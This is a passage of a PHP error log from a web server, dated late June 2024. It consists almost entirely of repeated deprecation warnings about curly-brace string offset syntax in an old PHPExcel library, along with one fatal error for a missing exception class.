deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Functions.php on line 321 [25-Jun-2024 09:31:01 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Functions.php on line 324 [25-Jun-2024 09:31:01 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Functions.php on line 562 [25-Jun-2024 09:31:01 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Functions.php on line 612 [25-Jun-2024 09:31:01 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [25-Jun-2024 09:31:01 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [25-Jun-2024 09:31:01 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [25-Jun-2024 09:31:01 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [25-Jun-2024 09:31:01 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [25-Jun-2024 09:31:01 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [25-Jun-2024 19:42:24 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [25-Jun-2024 19:42:24 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [25-Jun-2024 19:42:24 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [25-Jun-2024 19:42:24 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [25-Jun-2024 19:42:24 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [25-Jun-2024 19:42:24 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [25-Jun-2024 19:42:26 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [25-Jun-2024 19:42:26 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [25-Jun-2024 19:42:26 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [25-Jun-2024 19:42:26 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [25-Jun-2024 19:42:26 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [25-Jun-2024 19:42:26 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [25-Jun-2024 19:42:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Engineering.php on line 771 [25-Jun-2024 19:42:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Engineering.php on line 771 [25-Jun-2024 19:42:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Engineering.php on line 812 [25-Jun-2024 19:42:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Engineering.php on line 815 [25-Jun-2024 19:42:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Engineering.php on line 818 [25-Jun-2024 19:42:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Engineering.php on line 821 [25-Jun-2024 19:42:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [25-Jun-2024 19:42:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [25-Jun-2024 19:42:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [25-Jun-2024 19:42:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [25-Jun-2024 19:42:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [25-Jun-2024 19:42:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [25-Jun-2024 19:42:31 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Exception' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Exception.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Exception.php on line 28 [25-Jun-2024 19:42:34 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [25-Jun-2024 19:42:34 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [25-Jun-2024 19:42:34 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [25-Jun-2024 19:42:34 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [25-Jun-2024 19:42:34 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [25-Jun-2024 19:42:34 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [25-Jun-2024 19:42:35 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 162 [25-Jun-2024 19:42:35 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 184 [25-Jun-2024 19:42:35 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 185 [25-Jun-2024 19:42:35 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 194 [25-Jun-2024 19:42:35 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 204 [25-Jun-2024 19:42:35 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 205 [25-Jun-2024 19:42:35 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 212 [25-Jun-2024 19:42:35 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 222 [25-Jun-2024 19:42:35 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 225 [25-Jun-2024 19:42:35 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 233 [25-Jun-2024 19:42:35 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 244 [25-Jun-2024 19:42:35 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 246 [25-Jun-2024 19:42:35 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 247 [25-Jun-2024 19:42:35 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 257 [25-Jun-2024 19:42:35 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 268 [25-Jun-2024 19:42:35 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 279 [25-Jun-2024 19:42:35 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 286 [25-Jun-2024 19:42:35 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 299 [25-Jun-2024 19:42:35 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 318 [25-Jun-2024 19:42:35 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 340 [25-Jun-2024 19:42:35 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 361 [25-Jun-2024 19:42:35 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 368 [25-Jun-2024 19:42:35 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 388 [25-Jun-2024 19:42:35 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 393 [25-Jun-2024 19:42:35 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 399 [25-Jun-2024 19:42:35 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 404 [25-Jun-2024 19:42:35 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 410 [25-Jun-2024 19:42:35 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 426 [25-Jun-2024 19:42:35 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 447 [25-Jun-2024 19:42:35 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 463 [25-Jun-2024 19:42:38 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Functions.php on line 321 [25-Jun-2024 19:42:38 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Functions.php on line 324 [25-Jun-2024 19:42:38 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Functions.php on line 562 [25-Jun-2024 19:42:38 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Functions.php on line 612 [25-Jun-2024 19:42:38 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [25-Jun-2024 19:42:38 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [25-Jun-2024 19:42:38 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [25-Jun-2024 19:42:38 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [25-Jun-2024 19:42:38 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [25-Jun-2024 19:42:38 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [25-Jun-2024 19:42:40 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [25-Jun-2024 19:42:40 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [25-Jun-2024 19:42:40 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [25-Jun-2024 19:42:40 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [25-Jun-2024 19:42:40 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [25-Jun-2024 19:42:40 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [25-Jun-2024 19:42:42 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [25-Jun-2024 19:42:42 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [25-Jun-2024 19:42:42 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [25-Jun-2024 19:42:42 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [25-Jun-2024 19:42:42 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [25-Jun-2024 19:42:42 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [25-Jun-2024 19:42:43 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [25-Jun-2024 19:42:43 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [25-Jun-2024 19:42:43 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [25-Jun-2024 19:42:43 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [25-Jun-2024 19:42:43 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [25-Jun-2024 19:42:43 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [25-Jun-2024 19:42:43 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [25-Jun-2024 19:42:43 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [25-Jun-2024 19:42:43 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [25-Jun-2024 19:42:43 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [25-Jun-2024 19:42:43 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [25-Jun-2024 19:42:43 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [25-Jun-2024 19:42:44 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 43 [25-Jun-2024 19:42:44 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 43 [25-Jun-2024 19:42:44 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 44 [25-Jun-2024 19:42:44 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 45 [25-Jun-2024 19:42:44 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 45 [25-Jun-2024 19:42:44 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 46 [25-Jun-2024 19:42:44 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 46 [25-Jun-2024 19:42:44 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 47 [25-Jun-2024 19:42:44 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 47 [25-Jun-2024 19:42:44 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 48 [25-Jun-2024 19:42:44 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 48 [25-Jun-2024 19:42:44 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 48 [25-Jun-2024 19:42:44 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 49 [25-Jun-2024 19:42:44 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 49 [25-Jun-2024 19:42:44 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 50 [25-Jun-2024 19:42:44 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 50 [25-Jun-2024 19:42:44 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 50 [25-Jun-2024 19:42:44 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 50 [25-Jun-2024 19:42:44 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 51 [25-Jun-2024 19:42:44 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 51 [25-Jun-2024 19:42:44 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 52 [25-Jun-2024 19:42:44 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 52 [25-Jun-2024 19:42:44 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 52 [25-Jun-2024 19:42:44 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 52 [25-Jun-2024 19:42:44 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 52 [25-Jun-2024 19:42:44 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 53 [25-Jun-2024 19:42:44 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 53 [25-Jun-2024 19:42:44 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 54 [25-Jun-2024 19:42:44 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 54 [25-Jun-2024 19:42:44 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 54 [25-Jun-2024 19:42:44 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 54 [25-Jun-2024 19:42:44 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 54 [25-Jun-2024 19:42:44 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 54 [25-Jun-2024 19:42:44 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 55 [25-Jun-2024 19:42:44 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 55 [25-Jun-2024 19:42:44 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [25-Jun-2024 19:42:44 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [25-Jun-2024 19:42:44 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [25-Jun-2024 19:42:44 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [25-Jun-2024 19:42:44 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [25-Jun-2024 19:42:44 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [26-Jun-2024 07:42:22 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [26-Jun-2024 07:42:22 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [26-Jun-2024 07:42:22 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [26-Jun-2024 07:42:22 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [26-Jun-2024 07:42:22 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [26-Jun-2024 07:42:22 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [28-Jun-2024 02:50:42 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [28-Jun-2024 02:50:42 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [28-Jun-2024 02:50:42 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [28-Jun-2024 02:50:42 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [28-Jun-2024 02:50:42 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [28-Jun-2024 02:50:42 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [28-Jun-2024 02:55:09 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 162 [28-Jun-2024 02:55:09 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 184 [28-Jun-2024 02:55:09 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 185 [28-Jun-2024 02:55:09 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 194 [28-Jun-2024 02:55:09 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 204 [28-Jun-2024 02:55:09 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 205 [28-Jun-2024 02:55:09 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 212 [28-Jun-2024 02:55:09 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in 